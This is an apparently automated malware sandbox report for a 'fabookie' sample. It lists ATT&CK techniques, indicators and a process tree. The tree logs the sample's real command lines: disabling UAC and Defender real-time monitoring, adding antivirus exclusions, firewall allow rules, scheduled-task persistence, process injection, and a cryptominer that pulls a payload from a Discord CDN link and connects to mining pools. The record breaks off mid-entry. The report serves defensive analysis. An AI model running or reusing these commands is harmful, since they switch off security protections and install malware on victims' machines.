fabookie | a3ca8a3d9ef3abbfdb9fbb3dc086e271f8174775066607c68fe9a07e74ba8b73

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Random.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	Random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Random.exe = "0"	Random.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2256	netsh.exe
2064	netsh.exe

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00050000000195aa-246.dat	upx
behavioral1/files/0x00050000000195aa-245.dat	upx
behavioral1/files/0x00050000000195aa-242.dat	upx
behavioral1/memory/2544-251-0x0000000000BE0000-0x00000000010C8000-memory.dmp	upx
behavioral1/memory/2544-436-0x0000000000BE0000-0x00000000010C8000-memory.dmp	upx
behavioral1/files/0x000600000001a487-509.dat	upx
behavioral1/memory/2640-510-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/files/0x000600000001a487-511.dat	upx
behavioral1/files/0x000600000001a487-512.dat	upx
behavioral1/memory/2708-514-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/memory/2640-513-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/memory/2708-516-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/memory/2708-520-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/files/0x0007000000012106-891.dat	upx
behavioral1/files/0x000600000001221d-899.dat	upx
behavioral1/files/0x0006000000019bfa-908.dat	upx

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	Random.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions	Random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Random.exe = "0"	Random.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Random.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
6	pastebin.com

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
312	bcdedit.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2192 set thread context of 2788	2192	Random.exe	30

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2504	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 15 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2812	schtasks.exe
1480	schtasks.exe
2732	schtasks.exe
1100	schtasks.exe
1540	schtasks.exe
2916	schtasks.exe
2424	schtasks.exe
2668	schtasks.exe
752	schtasks.exe
1160	schtasks.exe
1020	schtasks.exe
1328	schtasks.exe
2292	schtasks.exe
2500	schtasks.exe
2148	schtasks.exe

GoLang User-Agent 3 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	161	Go-http-client/1.1
HTTP User-Agent header	78	Go-http-client/1.1
HTTP User-Agent header	160	Go-http-client/1.1

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2788	CasPol.exe
Token: SeDebugPrivilege	2792	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 2792	2192	Random.exe	28
PID 2192 wrote to memory of 2792	2192	Random.exe	28
PID 2192 wrote to memory of 2792	2192	Random.exe	28
PID 2192 wrote to memory of 2792	2192	Random.exe	28
PID 2192 wrote to memory of 2788	2192	Random.exe	30
PID 2192 wrote to memory of 2788	2192	Random.exe	30
PID 2192 wrote to memory of 2788	2192	Random.exe	30
PID 2192 wrote to memory of 2788	2192	Random.exe	30
PID 2192 wrote to memory of 2788	2192	Random.exe	30
PID 2192 wrote to memory of 2788	2192	Random.exe	30
PID 2192 wrote to memory of 2788	2192	Random.exe	30
PID 2192 wrote to memory of 2788	2192	Random.exe	30
PID 2192 wrote to memory of 2788	2192	Random.exe	30

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Random.exe

C:\Users\Admin\AppData\Local\Temp\Random.exe
"C:\Users\Admin\AppData\Local\Temp\Random.exe"
1⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2192
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Random.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- - C:\Users\Admin\Pictures\lA4hV7MdygvkaWydPyhG60rA.exe
    "C:\Users\Admin\Pictures\lA4hV7MdygvkaWydPyhG60rA.exe"
    3⤵
    PID:1540
  - - C:\Users\Admin\Pictures\lA4hV7MdygvkaWydPyhG60rA.exe
      "C:\Users\Admin\Pictures\lA4hV7MdygvkaWydPyhG60rA.exe"
      4⤵
      PID:2912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1156
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2064
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:1696
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:2812
      - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:1952
      - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        6⤵
        
        PID:2824
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:1084
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:312
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:2668
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        
        PID:2640
      - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=uiGheigee2Wuisoh -m=https://cdn.discordapp.com/attachments/1176914652060459101/1177177956087504956/xDYNmhJEPV -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
        6⤵
        
        PID:2180
        
        C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 33ccc7f7-fde7-4251-ad05-af825cc7edce --tls --nicehash -o showlock.net:443 --rig-id 33ccc7f7-fde7-4251-ad05-af825cc7edce --tls --nicehash -o showlock.net:80 --rig-id 33ccc7f7-fde7-4251-ad05-af825cc7edce --nicehash --http-port 3433 --http-access-token 33ccc7f7-fde7-4251-ad05-af825cc7edce --randomx-wrmsr=-1
        7⤵
        
        PID:2044
        
        C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe -hide 2044
        7⤵
        
        PID:2140
      - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
        6⤵
        
        PID:2316
      - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
        6⤵
        
        PID:2840
- - C:\Users\Admin\Pictures\TReirmqMnKSxS247VYXz9MP3.exe
    "C:\Users\Admin\Pictures\TReirmqMnKSxS247VYXz9MP3.exe"
    3⤵
    PID:1300
  - - C:\Users\Admin\Pictures\TReirmqMnKSxS247VYXz9MP3.exe
      "C:\Users\Admin\Pictures\TReirmqMnKSxS247VYXz9MP3.exe"
      4⤵
      PID:2852
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:752
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2256
- - C:\Users\Admin\Pictures\VrmygYdL1H1ytuUA4y1dVrrK.exe
    "C:\Users\Admin\Pictures\VrmygYdL1H1ytuUA4y1dVrrK.exe" --silent --allusers=0
    3⤵
    PID:2544
- - C:\Users\Admin\Pictures\OOVWN18X2ZTadakyU0CzJce1.exe
    "C:\Users\Admin\Pictures\OOVWN18X2ZTadakyU0CzJce1.exe" /VERYSILENT
    3⤵
    PID:2708
  - - C:\Users\Admin\AppData\Local\Temp\is-93BSG.tmp\OOVWN18X2ZTadakyU0CzJce1.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-93BSG.tmp\OOVWN18X2ZTadakyU0CzJce1.tmp" /SL5="$A001C,831488,831488,C:\Users\Admin\Pictures\OOVWN18X2ZTadakyU0CzJce1.exe" /VERYSILENT
      4⤵
      PID:1984
- - C:\Users\Admin\Pictures\a3WlMv4oSKhHBIWSDIKi10ji.exe
    "C:\Users\Admin\Pictures\a3WlMv4oSKhHBIWSDIKi10ji.exe"
    3⤵
    PID:960
- - C:\Users\Admin\Pictures\jL7PjLLqtK3O6OVwBaBshVG4.exe
    "C:\Users\Admin\Pictures\jL7PjLLqtK3O6OVwBaBshVG4.exe"
    3⤵
    PID:2388
  - - C:\Users\Admin\AppData\Local\Temp\7zS9AF8.tmp\Install.exe
      .\Install.exe
      4⤵
      PID:320
    - - C:\Users\Admin\AppData\Local\Temp\7zS9F8A.tmp\Install.exe
        
        .\Install.exe /kKdidtUA "385118" /S
        5⤵
        
        PID:2092
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        
        PID:1908
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:2516
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        
        PID:2308
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:2348
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:2336
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "grhLnNDuO" /SC once /ST 05:36:18 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:1020
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "grhLnNDuO"
        6⤵
        
        PID:3008
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "grhLnNDuO"
        6⤵
        
        PID:1972
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bqfsMlCsRGaQNwAenh" /SC once /ST 06:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\cWopmCPJgSHLAdzsa\RHBOfJUKuuQoqmD\ycRIbyo.exe\" 3O /Nrsite_idNdO 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:2424

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240205060019.log C:\Windows\Logs\CBS\CbsPersist_20240205060019.cab
1⤵
PID:2044
- C:\Windows\SysWOW64\reg.exe
  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
  2⤵
  PID:844

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
1⤵
PID:868

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
1⤵
PID:1304

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
1⤵
PID:2128

C:\Windows\system32\taskeng.exe
taskeng.exe {B46A7A64-8B8F-407D-B3EE-38C8813052F3} S-1-5-21-1268429524-3929314613-1992311491-1000:XBTLDBHN\Admin:Interactive:[1]
1⤵
PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:2888
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:2916
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:2236
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:2012
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2428
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2404

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1976

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
1⤵
PID:1232
- C:\Windows\SysWOW64\sc.exe
  sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
  2⤵
  - Launches sc.exe
  PID:2504

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:2708

C:\Windows\system32\taskeng.exe
taskeng.exe {8C29527C-C045-4C6D-AA31-57937D557492} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1548
- C:\Users\Admin\AppData\Local\Temp\cWopmCPJgSHLAdzsa\RHBOfJUKuuQoqmD\ycRIbyo.exe
  C:\Users\Admin\AppData\Local\Temp\cWopmCPJgSHLAdzsa\RHBOfJUKuuQoqmD\ycRIbyo.exe 3O /Nrsite_idNdO 385118 /S
  2⤵
  PID:1544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gukhqqKuN" /SC once /ST 02:06:30 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gukhqqKuN"
    3⤵
    PID:2968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gukhqqKuN"
    3⤵
    PID:2796
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:2044
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:2252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gYHlNBbbv" /SC once /ST 01:25:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2500
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gYHlNBbbv"
    3⤵
    PID:1052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gYHlNBbbv"
    3⤵
    PID:3036
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2568
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\aPpyztafNwxtBnuG\uHLNXAKY\GNgEDiPRtDbanZUe.wsf"
    3⤵
    PID:548
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2320
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\doxzTVnpwIaGtbVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:936
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2244
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1092
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:916
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\cWopmCPJgSHLAdzsa" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2084
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\cWopmCPJgSHLAdzsa" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2068
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1232
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\doxzTVnpwIaGtbVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2200
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qLSmfcpfwqmXC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1716
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qLSmfcpfwqmXC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2124
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fIIxbaxdlOUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fIIxbaxdlOUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1116
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\enieVHDQPszU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2252
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\enieVHDQPszU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2424
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YvSTvwepU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YvSTvwepU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2492
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AfWxdpYtGjtwIDBHRdR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2248
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AfWxdpYtGjtwIDBHRdR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1656
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1012
  - - C:\Windows\SysWOW64\reg.exe
